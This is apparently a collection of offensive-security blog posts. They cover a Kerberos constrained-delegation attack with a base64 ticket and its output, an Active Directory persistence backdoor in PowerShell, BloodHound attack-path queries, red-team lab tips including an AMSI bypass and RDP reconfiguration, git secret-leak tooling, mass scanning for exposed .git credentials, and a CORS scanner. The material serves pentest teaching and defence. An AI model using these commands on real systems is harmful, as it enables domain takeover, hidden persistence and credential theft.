      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
      TE9DQUypFTAToAMCAQKhDDAKGwRjaWZzGwJkYw==
[+] Ticket successfully imported!

We do have our service ticket for CIFS/DC in the name of WINDOMAIN\Administrator :

C:\tools> klist
...
#1>     Client: Administrator @ WINDOMAIN.LOCAL
        Server: cifs/dc @ WINDOMAIN.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 9/25/2020 18:05:46 (local)
        End Time:   9/26/2020 4:05:07 (local)
        Renew Time: 10/2/2020 18:05:07 (local)
        Session Key Type: AES-128-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:
...

Let’s test it out:

C:\tools>dir \\DC\C$
 Volume in drive \\DC\C$ is Windows 2019
 Volume Serial Number is 28C8-9A14

 Directory of \\DC\C$

09/27/2020  08:50 AM    <DIR>          PerfLogs
09/27/2020  08:06 AM    <DIR>          Program Files
09/27/2020  08:00 AM    <DIR>          Program Files (x86)
10/20/2020  01:07 PM    <DIR>          tmp
09/27/2020  08:00 AM    <DIR>          Users
10/20/2020  01:26 PM    <SYMLINKD>     vagrant [\\vboxsvr\vagrant]
10/20/2020  01:10 PM    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  36,839,563,264 bytes free

Persistence

To set the TRUSTED_TO_AUTH_FOR_DELEGATION attribute, we need the SeEnableDelegationPrivilege.

Fortunately Microsoft protect any user from setting this flag unless they are listed in the User Rights Assignment setting “Enable computer and user accounts to be trusted for delegation” (SeEnableDelegationPrivilege) on the Domain Controller. So by default only members of BUILTIN\Administrators (i.e. Domain Admins/Enterprise Admins) have the right to modify these delegation settings.

An interesting persistence method consists, from a compromised user with the SeEnableDelegationPrivilege privilege, in setting the TRUSTED_TO_AUTH_FOR_DELEGATION value on another lambda compromised user that can be delegated, and to edit the mDS-AllowedToDelegateTo field with the SPN CIFS/DC for example, allowing to replay the attack.

T2A4D on an arbitrary domain user

You have compromised a privileged user, however the protected groups are supervised by the SOC, they have their security descriptors reset by the SDProp mechanism (AdminSDHolder), etc, so many elements that make you say that you would like to backdoor a user who can spend as much time as possible under the radars (let’s hope however that a delegation to a DC is supervised by the SOC).

Let’s play this method in our lab. The bleponge user is the most banal domain user, admin01 is what you have been sweating for the last few days:

PS C:\> WMIC OS Get Name
Name
Microsoft Windows 10 Education N|C:\Windows|\Device\Harddisk0\Partition2

PS C:\> whoami
windomain\admin01

PS C:\> net user admin01 /domain | Select-String "Group"

Local Group Memberships
Global Group memberships     *Domain Users         *Domain Admins

PS C:\> net user bleponge /domain | Select-String "Group"

Local Group Memberships
Global Group memberships     *Domain Users

PS C:\> Get-ADObject -Identity bleponge -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl

useraccountcontrol : NORMAL_ACCOUNT
distinguishedname  : CN=Bob ble. Leponge,CN=Users,DC=windomain,DC=local
samaccountname     : bleponge
samaccounttype     : USER_OBJECT

PS C:\> Get-ADUser -Identity bleponge | Set-ADAccountControl -TrustedToAuthForDelegation $True
PS C:\> Set-ADUSer -Identity bleponge -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/DC.WINDOMAIN.LOCAL','CIFS/DC')}
PS C:\> Set-ADObject -Identity bleponge -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
PS C:\> Get-ADObject -Identity bleponge -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl

useraccountcontrol       : NORMAL_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
serviceprincipalname     : nonexistent/BLAHBLAH
msds-allowedtodelegateto : {CIFS/DC, CIFS/DC.WINDOMAIN.LOCAL}
distinguishedname        : CN=Bob ble. Leponge,CN=Users,DC=windomain,DC=local
samaccountname           : bleponge
samaccounttype           : USER_OBJECT

Take care with the command Set-ADObject -Identity bleponge -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}.
Indeed, in order for the S4U2Self mechanism to work with Rubeus, a SPN must be set on the bleponge user, otherwise an exception will be propagated:

...
[!] Unhandled Rubeus exception:

System.NullReferenceException: Object reference not set to an instance of an object.
   at Rubeus.S4U.S4U2Proxy(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, Boolean opsec)
   at Rubeus.S4U.Execute(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, String targetDomainController, String targetDomain, Boolean s, Boolean opsec, String requestDomain, String impersonateDomain)
   at Rubeus.Commands.S4u.Execute(Dictionary`2 arguments)
   at Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName, Dictionary`2 arguments)
   at Rubeus.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)

Now all you have to do is to go back to our Exploitation section and to reproduce the attack in the context of our bleponge user.

Testing with the HOST service class (HOST/DC), it was impossible for us to list our share \\DC\C$. This has already been encountered by pixis.

SeEnableDelegationPrivilege

We can also create a backdoor for a user by assigning him the SeEnableDelegationPrivilege, so that this user can set the TRUSTED_TO_AUTH_FOR_DELEGATION and write the msDS-AllowedToDelegateTo field on another resource (https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/).

The End

Feel free to comment / ask your questions. You can also contact me on Twitter.

See you soon.

Phackt.

More BloodHound Cypher queries

Sun, 04 Oct 2020 00:00:00 +0000

Hello,

In this blog post i will share my Cypher queries which i’m using in my daily engagements. I aim to be complementary to the cheatsheets you can found out there and to the default queries you will find in BloodHound.

I will also comment these ones if needed to provide further information.

First a word about logon sessions enumeration :

Logon sessions enumeration is really important to know who is loggedon on which machine and from where. When the NetSessionEnum API is called, no privilege is needed to have at least two levels of information, 0 and 10. We just need to be Authenticated Users.

You also can continuously enumerate logon sessions thanks to BloodHound ingestor:
SharpHound.exe -c SessionLoop

Find also a great article about Bloodhound, its sessions enumeration and the NetCease script remediation here.

Queries

Count the distinct users logon sessions on a domain :

MATCH (u1:user)
WITH count(u1) as totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
RETURN COUNT(DISTINCT(u2))

Get All computers with their users logon sessions :

MATCH c=(C:Computer)-[r2:HasSession*1]-(U:User) 
WHERE U.name =~ ".*" return c

Get computers having a session from usernames like “ADM.*” (matching specific OS) :

MATCH p=((S:Computer)-[r:HasSession*1]->(T:User))
WHERE T.name =~ "ADM.*"
AND S.operatingsystem =~ ".*XP.*"
RETURN p

Find all Domain Admins :

MATCH (n:Group) WHERE n.objectid =~ "(?i)S-1-5-21-.*-512" WITH n MATCH p=(n)<-[r:MemberOf*1..]-(m) RETURN n,r,m

For all Well-known security identifiers: https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows.

Find all Domain Admins (nested SID S-1-5-21-.*-512) having a session opened on a domain computer :

MATCH (m:User)-[r:MemberOf*1..]->(n:Group) WHERE n.objectid =~ "(?i)S-1-5-.*-512" WITH m MATCH q=((m)<-[:HasSession]-(o:Computer)) RETURN q

Show all high value target principals :

MATCH (m {highvalue:true}) RETURN m

List of unique users with a path to a “highvalue” targets :

MATCH (u:User) MATCH (g {highvalue:true}) MATCH p = shortestPath((u:User)-[r:AddMember|AdminTo|AllExtendedRights|AllowedToDelegate|CanRDP|Contains|ExecuteDCOM|ForceChangePassword|GenericAll|GenericWrite|GpLink|HasSession|MemberOf|Owns|ReadLAPSPassword|TrustedBy|WriteDacl|WriteOwner|GetChanges|GetChangesAll*1..]->(g)) RETURN DISTINCT(u.name) AS USER, u.enabled as ENABLED,count(p) as PATHS order by u.name

Shortest paths from Domain Users to “highvalue” targets :

MATCH p=shortestPath((g:Group {name:"DOMAIN USERS@PHACKT.LOCAL"})-[*1..]->(n {highvalue:true})) WHERE g.objectid ENDS WITH '-513' AND g<>n return p

Find user with a username like “ADM.*” who logged on a computer which has a owned local admin :

MATCH c=(U:User {owned:true})-[r:AdminTo*1]-(C:Computer)-[r2:HasSession*1]-(P:User) WHERE P.name =~ "A_.*" return c

Find all edges that a “specific user” has against all the nodes (HasSession is not calculated, as it is an edge that comes from computer to user, not from user to computer) :

MATCH (n:User) WHERE n.name =~ 'HELPDESK@DOMAIN.GR' MATCH (m) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(m)) RETURN p

Find all the edges that any UNPRIVILEGED user (based on the admincount:False) has against all the nodes :

MATCH (n:User {admincount:False}) MATCH (m) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(m)) RETURN p

MATCH (n:User {admincount:False}) MATCH (m:User) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(m)) RETURN p

MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|AdminTo|CanRDP|ExecuteDCOM|ForceChangePassword*1..]->(m:Computer)) RETURN p

Find if unprivileged users have rights to add members into groups :

MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) RETURN p

Find only the AdminTo privileges (edges) of the domain users against the domain computers :

MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(u1)-[:AdminTo*1..]->(c:Computer) RETURN p2

Find which groups canRDP to computers :

MATCH (n:Group) MATCH (m:Computer) MATCH p=allShortestPaths((n)-[r:CanRDP*1..]->(m)) RETURN p

The canRDP edge runs from a user or a group to a computer and incates that the principals are part of the Remote Desktop Users local group on the target system.

Find what groups have local admin rights :

MATCH p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name

Find what users have local admin rights :

MATCH p=(m:User)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name

Mark a user as owned :

MATCH (n:User) WHERE n.name STARTS WITH toUpper('brobin') SET n.owned=true RETURN n

Displays all GPOs :

Match (n: GPO) return n

Displays all GPOs containing a “keyword” in their name :

Match (n: GPO) WHERE n.name CONTAINS "SERVER" return n

Find if a domain user has some interesting rights on a GPO :

MATCH p = (u: User) - [r: AllExtendedRights | GenericAll | GenericWrite | Owns | WriteDacl | WriteOwner | GpLink * 1 ..] -> (g: GPO) RETURN p LIMIT 25

If i have some fresh queries, i will post them on this page regularly.

If you also want to contribute: here is the repo.

Wish you a good day,
Phackt.

SecurityTube Advanced Red Team Lab training - Worth it ?

Tue, 22 Sep 2020 00:00:00 +0000

Quick answer: Totally !

Hello everybody,

I would like to talk a bit about the SecurityTube red team labs, specifically the Advanced Red Team Lab which leads to the CRTE (Certified Red Team Expert) certification. P.S: i’m not affiliated with securitytube.

Some great reviews are already existing, so i will focus on why i chose this lab and certification. I will give you some hints about how to approach your targets. Most importantly, i would like to introduce you a tool that i developped which will help you during your journey, Invoke-Recon.

Context

I was looking for a another professional and challenging cert focused on Windows AD. My prerequisites were:

no jeopardy style
real life scenarios which will be found in real engagements
a environment not too crowded. I met this situation with others platforms and i spent much of my time contacting the support to revert the VMs because of others bad exploitation or persistence, getting the machines you’re working on totally unstable.

Finally the Advanced Red Team Lab was the answer.

Companies are more and more looking for online qualitative trainings because of the actual sanitary crisis. Think to ask to your company for a financial support.

What i really liked

Reactive and helpful support
Updated servers and workstations with AppLocker, AV running and Powershell in Constrained Language Mode.
Relevant AD exploitation paths and local privilege escalation
Nikhil Mittal and his team are really friendly and you definitely can contact them on twitter to share your thoughts on this lab

And why not, while you’re diving into this journey, you may probably see how the tools you are using may be improved to match your needs (don’t hesitate to PR - mine with PowerUpSQL) or may be you will develop your own tool. What i mean is that this is a virtuous circle, you will learn and you will share with the infosec community.

What should be / will be improved

The possibility to revert VMs on our own during lab and cert (in dev on their side)

What you will learn

Obviously, the difficulty level depends on your experience as a pentester, but be sure that after this cert you will be able to :

Properly enumerate an AD (basic / more complex stuff) and which tools to use (we will about it later)
Find AD exploitation paths, weak ACLs
Spearphish users
Exploit Kerberos delegation and to know how the S4U extensions are working (for ex: kerberos constrained delegation with protocol transition)
Exploit domain / forest trusts (SID Filtering, SID History, …)
Exploit MSSQL servers (this part was really interesting as i did not have so many opportunities to exploit MSSQL instances during engagements)
Find your way to perform local privilege escalation on fully patched servers with AppLocker and AV running
Many other cool stuff

Hints (that you may not find in others blog posts)

Your will start as domain user on a Windows Server where you will be able to RDP. I advice you to get SYSTEM on this machine, to disable Defender and some restrictive Firewall and AppLocker rules. Then take off your shoes and feel comfortable at home.

I mainly used this Windows VM but i also had my Kali. In order to be able to proxyfy my Kali tools, i used ssf and proxychains.

Sometimes in this lab you will be able to move forward the unintended ways, i mean with your own kind of exploitation (to give you just an idea, read this blog post from itm4n). Even if you succeed in compromising all the forests, i would strongly recommend you to try to get the all the boxes the intended way, because you may miss something for the D-day.

Also do not overlook the post exploitation part. And don’t forget to note where you struggled at, during the exam it will be a pity to lose time on a thing you already faced.

Not so many services will be exposed, and you also will be firewalled.

Talking about firewalling, we agree that sometimes it’s more comfortable to have a RDP session rather than any command line session. In the following example we will assume that we have a shell on a server and we have just a few ports which are accessible. 5985 is a good candidate but WinRM is already running on the server.

In the following example, be aware that if you execute the following commands from a Remote Powershell session, you will be disconnected because we set the RDP listen port to 5985, so we will have to sc.exe stop WinRM before running Remote Desktop Service.

Set RDP listen port and start the Remote Desktop service ‘without rebooting’:

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" -Name PortNumber -Value 5985
sc.exe stop WinRM

Then run:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Tools

Now let’s talk a bit about an interesting part, what kind of tools did i have on my Windows VM (did not mean i used all of them) ? Here is my list :

Tool	Description
ADModule	Use AD powershell module for enumeration without installing RSAT
amsi-bypass.ps1	`[Bypass.A_M_S_I]::Disable()`
nmap	Network Mapper
agentransack	Fast files / directories crawler
mimikatz	Do we really have to introduce this tool ?
nc64.exe	Netcat
Nishang	Exploitation framework from Nikhil “SamratAshok” Mittal
Empire -> Invoke-DCSync.ps1	DCSync
PowerSploit -> PowerView.ps1	AD Enumeration - Harmjoy Powerview 3 tricks
PowerSploit -> Invoke-Mimikatz.ps1	Mimikatz thanks to Powershell
PowerSploit -> Invoke-PortScan.ps1	Ports scanner in Powershell
PowerSploit -> Invoke-TokenManipulation.ps1	Manipulate logon token and create impersonation token
Invoke-SDPropagator.ps1	Invoke SDPropagator mechanism - for example if you backdoored the AdminSDHolder
Invoke-SocksProxy.psm1	Proxy socks in Powershell
IPv4PortScan.ps1	Another ports scanner in Powershell
powercat.ps1	Netcat in Powershell
Set-LHSTokenPrivilege.ps1	Enable / disable your local privileges
PowerUpSQL	MSSQL exploitation framework
PrintSpoofer.exe	Exploit the printer bug locally
PrivescCheck	Find privesc
Rubeus	Useful when you will have to deal with kerberos tickets
BloodHound	Find AD exploitation paths
SpoolSample	Connect to the RPC RpcRemoteFindFirstPrinterChangeNotification to trigger the printer bug
ssf	Tunneling tool
SysinternalsSuite	All MS utilities
lolbas	Living Off The Land Binaries and Scripts

And last but not least, as i said previously this journey was a good opportunity to gather a lot of my recon commands in one single Powershell tool: Invoke-Recon.

Believe me, if you are doing this lab and want to pass this cert, Invoke-Recon + BloodHound will be the perfect journey companions. Invoke-Recon has been developed based on the Advanced Red Team Lab.

More to come

To keep on talking about AD enumeration, i would like to share with you some of my Cypher queries i use with BloodHound to spot some very interesting stuff during an engagement. I will also dive a bit more into Invoke-Recon.

Keep in touch, and don’t hesitate if you wanna more information about this lab, if you are stuck or anything else, i’m always glad to help. I answer back to a lot of questions by email or twitter, some dealing with my switch from web developer to technical auditor for the french gouvernment. Contact me.

Wish you a nice day, may the force be with you (i let you choose which side).

Phackt.

What solutions to prevent git leaks ?

Wed, 27 May 2020 00:00:00 +0000

Hello,

I will do a quick and dirty post about what’s out there to find / prevent leaks of secrets in your git repositories.
I did not try all of these tools. For the search part, i’m mainly using a fork of Trufflehog with some added features (search in filenames, commits comments, also with custom regexes).

Objectives :

Look into the commits history for sensitive information publicly accessible by an attacker ;
Prevent secrets leaks ;
Monitoring and integrating these checks in the Continous Delivery process - aka DevSecOps

Tools to look for sensitive data :

TRUFFLEHOG

Written in Python
Also works for local repo
Strings with high entropy
Custom regex rules
No search in commits comments or filenames

GITROB

Written in Go
Renders results in a Web App
Do not work for local repo AFAIK

REPO-SUPERVISOR

Written in NodeJS
Generates HTML reports

GIT-ALL-SECRETS

Written in Go
Using / merging results of Trufflehog and Repo-Supervisor

GITLEAKS

Written in Go
regex and entropy

SSHGIT

Written in Go
Renders results in a Web App
Monitors GIT repositories - Be the first to catch the secret before it gets deleted from git history
shhgit will watch real-time stream and pull out any accidentally committed secrets

Prevent commits :

What is a Git Hook ? As described here:

Like many other Version Control Systems, Git has a way to fire off custom scripts when certain important actions occur. There are two groups of these hooks: client-side and server-side. Client-side hooks are triggered by operations such as committing and merging, while server-side hooks run on network operations such as receiving pushed commits. You can use these hooks for all sorts of reasons.

Security is a good one.

What kind of hooks can used to prevent leak at an early stage of the git workflow? :

pre-commit: Used to check if any of the files changed in the commit use prohibited patterns.

commit-msg: Used to determine if a commit message contains a prohibited patterns.

prepare-commit-msg: Used to determine if a merge commit will introduce a history that contains a prohibited pattern at any point. Please note that this hook is only invoked for non fast-forward merges.

Client-side hooks :

GITHOUND

You have to set GitHound command into a pre-commit hook
Regexes are configured in .githound.yml

GIT-SECRETS

From AWS team
You also can manually scan for secrets before making your repo public: git secrets --scan-history

GITHUB actions :

GitHub Actions enables you to create custom software development life cycle (SDLC) workflows directly in your GitHub repository.

GITHUB scanning project :

Github has a project which aims at monitoring leaked third parties tokens from your repositories: https://help.github.com/en/github/administering-a-repository/about-secret-scanning.

Once identified, Github will warn you and will request the provider (from the following list) in an automated way to ask for the immediate revokation of your leaked tokens:

Adafruit
Alibaba Cloud
Amazon Web Services (AWS)
Atlassian
Azure
Clojars
CloudBees CodeShip
Databricks
Datadog
Discord
Doppler
Dropbox
Dynatrace
Finicity
Frame.io
GitHub
GoCardless
Google Cloud
Hashicorp Terraform
Hubspot
Mailchimp
Mailgun
MessageBird
npm
NuGet
Palantir
Plivo
Postman
Proctorio
Pulumi
Samsara
Shopify
Slack
SSLMate
Stripe
Tencent Cloud
Twilio

Finally what to conclude :

For each leaked secrets linked to an environment which could be targeted by an adversary :

Revoke / update the secret (password, any token / private key, …) as quick as possible ;
Update the git commits history

More globally :

Warn the stakeholders involved in this data leak (users, providers, …) ;
Check log files to detect former fraudulent access ;
Prevent the versioning of sensitive data (via .gitignore and set hooks to monitor your commits) ;
Include the secret scanning process as part as your continuous delivery process (build factory). For example for Github CI see the Github actions Trufflehog and Gitleaks as aforementioned.

See you soon, next posts will be more internal pentesting / windows oriented,
Cheers.

Gathering some information from web exposed GIT repositories

Sun, 05 Aug 2018 00:00:00 +0000

Hello folks,

Last week, while i was doing recon on some websites, i noticed that we can still found some versioning repositories in production. I found some classic .git exposed, and in a lesser extent some .svn directories. I decided to gather a bunch of websites caught in the TOP Alexa in order to look for the proportion of .git exposed; with 112332 domains scanned (mixed TLDs), i found 453 .git exposed, which is only 0.4%. Not bad.

How to scan for web exposed git directories:
nmap --open -PN -n -p80,81,82,8000,8080,443,8443,9443 --script http-git -oA http-git -iL domains.lst

N.B: this NSE script will perform HTTP requests thanks to input FQDNs (vhosting)

Some developers may clone repository specifying their login and password as part of the url, setting this remote origin in the git configuration. For example, once your nmap done, you can spot some login:password playing with this command:

$ grep -A1 Remotes http-git.nmap | grep -E ":.*:[^:]*@.*" | awk '{print $2}'
https://apixxxxxx:[redacted]@github.com/apixxxxxx/apixxxxxx.git
http://deploy:[redacted]@10.0.0.4:7990/scm/[redacted]/portal.git
...

However i was looking for other information, for example:

repository’s activity; last commit date for each branch
repo directory traversal (great to download the whole repo)
highlights remote url
displays .git/config and .gitignore files

Knowing a bit of a .git repository layout will allow to easily retrieve this information even if you don’t have any directory traversal.
That’s why i created a bash script gathering this information which you can find here.

If a repository seems interesting and has directory traversal and/or leaks in its remote url some credentials, you can simply download or clone the repository. For example to download the whole repo you can do the following:

$ wget --recursive --no-parent http://localhost/phackt.github.io/.git/ && \
cd localhost/phackt.github.io && \
git reset --hard

Now what happens if you didn’t find any creds (most of the cases) and directory traversal is not enabled ? I will not reinvent the wheel and advice you to read this article amongst others.

$ curl -I http://localhost/phackt.github.io/.git/
HTTP/1.1 403 Forbidden
Date: Sat, 11 Aug 2018 17:00:04 GMT
Server: Apache/2.4.33 (Debian)
Content-Type: text/html; charset=iso-8859-1

I gave a try to another git dumper tool:

$ git clone https://github.com/arthaud/git-dumper.git && cd git-dumper
$ pip install -r requirements.txt
$ ./git-dumper.py http://localhost/phackt.github.io/.git/ /tmp/repo
[-] Testing http://localhost/phackt.github.io/.git/HEAD [200]
[-] Testing http://localhost/phackt.github.io/.git/ [403]
[-] Fetching common files
[-] Fetching http://localhost/phackt.github.io/.git/COMMIT_EDITMSG [200]
[-] Fetching http://localhost/phackt.github.io/.git/description [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/commit-msg.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/post-commit.sample [302]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/post-receive.sample [302]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/pre-commit.sample [200]
...
[-] Running git checkout .

We can now inspect our freshly rebuilt repository:

$ cd /tmp/repo && ls -1
about.md
categories.md
CNAME
_config.yml
feed.xml
_includes
index.html
_layouts
POC
_posts
public
_sass

See you soon,
Cheers.

Play with permissive CORS

Sun, 24 Dec 2017 00:00:00 +0000

Hello folks,

While i was playing with a ‘code search engine’ tool called publicwww, i decided to gather some top Alexa domains and to look for some permissive CORS. I tried the following researches, site:fr "type=\"password\"", the same for the TLDs .org and .com, in order to spot webpages with a login form, meaning authenticated users..

I will let you play with publicwww, remember that you are limited with basic access but if you pay you will have access to the top 200000 Alexa websites dealing with your request. May be you also wanna play with Shodan or Censys.

Automate permissive CORS detection

We already talked about Cross Origin Ressource Sharing in some previous posts. You also have a great explanation about the Same Origin Policy on mozilla.org. A website with permissive CORS will allow an attacker to perform any requests to this website from another ressource and this request can include the victim’s cookies (xhr.withCredentials = true).

So if the cookie’s session is reflected, you will be able to steal it and forge the victim’s session. You will be able to change the victim’s password if the former one is not requested, read some sensitive account information, …. Remember that because now you can READ the response, you also can read the CSRF token and bypass the protection.

So once i gathered enough interesting domains and urls from OSINT tools, and got a bunch of ones dealing with bug some bounty programs, i decided to be original and to create a tool called cors.py (DEPRECATED right now, check below).

This tool reads a list of domains and/or urls and will HTTP request them, adding the Origin header of your choice, example:
Origin: https://phackt.org.

It will finally detects a permissive cors if the response header Access-Control-Allow-Origin is set to null or if the origin header’s value is reflected, and if the response header Access-Control-Allow-Credentials is set to true (permissive CORS is relevant only if you can read from request including victim’s cookies). You also can detect some strings in the response headers (see config.json) and configure other parameters like the number of threads, the user agent, the response timeout, and so on.

HOW TO

$ ./cors.py -h
usage: cors.py [-h] [-f URLSFILE] [-r]

Looking for some permissive CORS

optional arguments:
  -h, --help            show this help message and exit
  -f URLSFILE, --file URLSFILE
                        file with urls
  -r, --redirect        allow redirect in requests

Example of output:

$ ./cors.py -f /tmp/sitecomtypepassword.txt 
Processing 230 lines
Launching 20 threads
open cors found for url http://asiaroom.com/
open cors found for url http://aksekiyapi.com/
open cors found for url http://baseshare.com/
open cors found for url http://fitwall.com/
open cors found for url http://h10.edmarkreadingonline.com/
open cors found for url http://ermresearch.com/
open cors found for url http://ellysdirectory.com/
...

UPDATE 01/07/2020:I’m strongly suggesting right now to use this complete tool of which i merged most of CORS detecting features: https://github.com/chenjj/CORScanner.

This tool gathers everything you need to detect an exploitable CORS misconfiguration :

Misconfiguration type	Description
Reflect_any_origin	Blindly reflect the Origin header value in `Access-Control-Allow-Origin headers` in responses, which means any website can read its secrets by sending cross-orign requests.
Prefix_match	`wwww.example.com` trusts `example.com.evil.com`, which is an attacker’s domain.
Suffix_match	`wwww.example.com` trusts `evilexample.com`, which could be registered by an attacker.
Not_escape_dot	`wwww.example.com` trusts `wwwaexample.com`, which could be registered by an attacker.
Substring match	`wwww.example.com` trusts `example.co`, which could be registered by an attacker.
Trust_null	`wwww.example.com` trusts `null`, which can be forged by iframe sandbox scripts
HTTPS_trust_HTTP	Risky trust dependency, a MITM attacker may steal HTTPS site secrets
Trust_any_subdomain	Risky trust dependency, a subdomain XSS may steal its secrets
Custom_third_parties	Custom unsafe third parties origins like `github.io`, see more in origins.json file. Thanks @phackt!
